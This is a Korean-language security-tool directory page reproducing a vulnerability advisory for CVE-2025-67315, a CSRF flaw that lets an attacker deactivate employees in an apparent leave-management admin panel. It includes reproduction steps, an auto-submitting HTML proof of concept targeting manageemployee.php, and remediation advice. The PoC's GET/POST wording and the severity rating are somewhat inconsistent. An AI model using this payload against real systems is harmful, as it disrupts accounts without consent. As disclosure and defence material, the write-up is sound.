Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-67315 | Kitploit
도구/GitHubGitHub/r-pradyun/cve-2025-67315
Vulnerability AnalysisExploitationWeb SecurityCTFPenetration TestingLearning & Education
GitHubr-pradyun/cve-2025-67315

CVE-2025-67315

저장소 보기
7개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CSRF를 통한 임의 직원 비활성화

요약

직원 관리(Manage Employees) 기능은 **사이트 간 요청 위조(CSRF)**에 취약합니다.
공격자는 로그인한 관리자가 자신의 인지나 동의 없이 직원을 비활성화하는 위조된 요청(예: inid=1)을 보내도록 속일 수 있습니다.


CVSS 기본 점수: 5.4 (MEDIUM)

벡터 문자열: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L


영향을 받는 기능

  • 모듈: 관리자 패널 → 직원 → 직원 관리

  • 작업: 직원 비활성화 (inid 매개변수 사용)


재현 단계

  1. 관리자로 로그인

    • /admin 엔드포인트로 이동하여 유효한 관리자 자격 증명으로 로그인합니다.

    image

  2. 직원 관리 열기

    • 대시보드에서 직원 → 직원 관리를 클릭합니다.

    image

  3. 비활성화 요청 캡처

    • 프록시(예: Burp Suite)에서 인터셉트를 켭니다.

    • 직원의 비활성화를 클릭하고 사용자를 비활성화하는 요청을 캡처합니다.

    • 요청의 inid 매개변수를 확인합니다(예: inid=1).

    image

  4. CSRF PoC 생성

    • 캡처된 요청 정보를 사용하여 inid=1로 사용자 1을 비활성화하는 요청을 보내는 HTML 파일을 생성합니다.

    image

  5. 피해자로 CSRF 트리거

    • HTML PoC를 브라우저에서 호스팅하거나 엽니다.

    • 관리자가 애플리케이션에 로그인한 상태에서 이 PoC 페이지를 방문하고 양식을 제출하면 사용자 1이 비활성화됩니다.

    image

  6. 효과 확인

    • 관리자 대시보드 → 직원 관리로 돌아갑니다.

    • 사용자 1이 이제 비활성화됨으로 표시된 것을 확인합니다.

    image


CSRF 개념 증명(HTML)

다음은 inid 매개변수를 사용하는 POST 요청을 가정한 일반적인 PoC입니다:

root@kitploit:~
<html>
  <body>
    <form action="http://localhost/elms/admin/manageemployee.php">
      <input type="hidden" name="inid" value="1" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>
  • 이 파일을 csrf_inactivate_emp1.html로 저장합니다.

  • 이 파일을 전송/호스팅하고 인증된 관리자가 로드한 후 버튼을 클릭하도록 유도합니다.


영향

  • 공격자는 인증된 관리자가 악성 페이지를 방문하도록 속여 임의의 직원을 비활성화하도록 강제할 수 있습니다.

  • 이로 인해 다음과 같은 결과가 발생할 수 있습니다:

    • 사용자 계정의 가용성에 영향을 미치는 무단 계정 비활성화.

    • 운영 중단(예: 중요 작업 중 직원 계정 비활성화).

    • 다른 취약점과 결합한 잠재적 악용(예: 특정 모니터링 또는 권한 있는 계정 비활성화).

  • 공격에 필요한 조건은 다음과 같습니다:

    • 관리자가 로그인되어 있고,

    • 관리자가 공격자가 제어하는 악성 URL/페이지를 방문해야 합니다(피싱, 삽입된 iframe, 악성 링크 등).

관리자 포털의 사용자 관리를 직접 조작한다는 점에서 이 문제는 **높은 심각도(High severity)**로 간주되어야 합니다.


해결 방안

  1. CSRF 보호 토큰 구현

    • 모든 상태 변경 요청(예: 비활성화, 삭제, 업데이트)에 암호학적으로 안전하고 예측 불가능한 CSRF 토큰을 추가합니다.

    • 토큰을 양식의 숨은 필드로 포함합니다.

    • 서버 측에서 다음을 검증합니다:

      • 토큰 존재,

      • 토큰 정확성,

      • 토큰이 현재 사용자 세션과 연결되어 있는지.

    • 토큰이 없거나 유효하지 않으면 요청을 거부합니다.

  2. Same-Site 쿠키 사용

    • 세션 쿠키에 SameSite=Lax 또는 가능하면 SameSite=Strict를 설정합니다.

    • 이렇게 하면 사이트 간 요청에서 쿠키가 자동으로 전송되지 않아 CSRF 위험이 줄어듭니다.

  3. 적절한 HTTP 메서드 적용

    • 직원 비활성화와 같은 모든 상태 변경 작업이 GET 대신 POST(또는 PUT/DELETE)를 사용하도록 합니다.

    • GET 매개변수를 통한 민감한 상태 변경을 허용하지 마세요.

  4. Origin / Referer 헤더 검증

    • 민감한 엔드포인트에서 요청이 신뢰할 수 있는 도메인에서 발생했는지 확인하기 위해 Origin 또는 Referer 헤더를 검증합니다.

    • 헤더가 없거나 신뢰할 수 없는 출처에서 온 경우 요청을 거부합니다.

  5. UI/워크플로 강화

    • 민감한 작업(예: 관리자 역할을 가진 사용자 비활성화)에 대해 서버 측 확인 또는 재인증 절차를 추가합니다.

    • CSRF 시도가 있더라도 의도된 역할만 해당 작업을 수행할 수 있도록 적절한 인가 검사를 구현합니다.

  6. 보안 테스트

    • 정기적인 보안 테스트(수동 및 자동)에 CSRF 점검을 통합합니다.

    • 보호 조치 구현 후 이 엔드포인트(및 유사한 엔드포인트)를 다시 테스트하여 PoC가 더 이상 작동하지 않는지 확인합니다.


도구 다운로드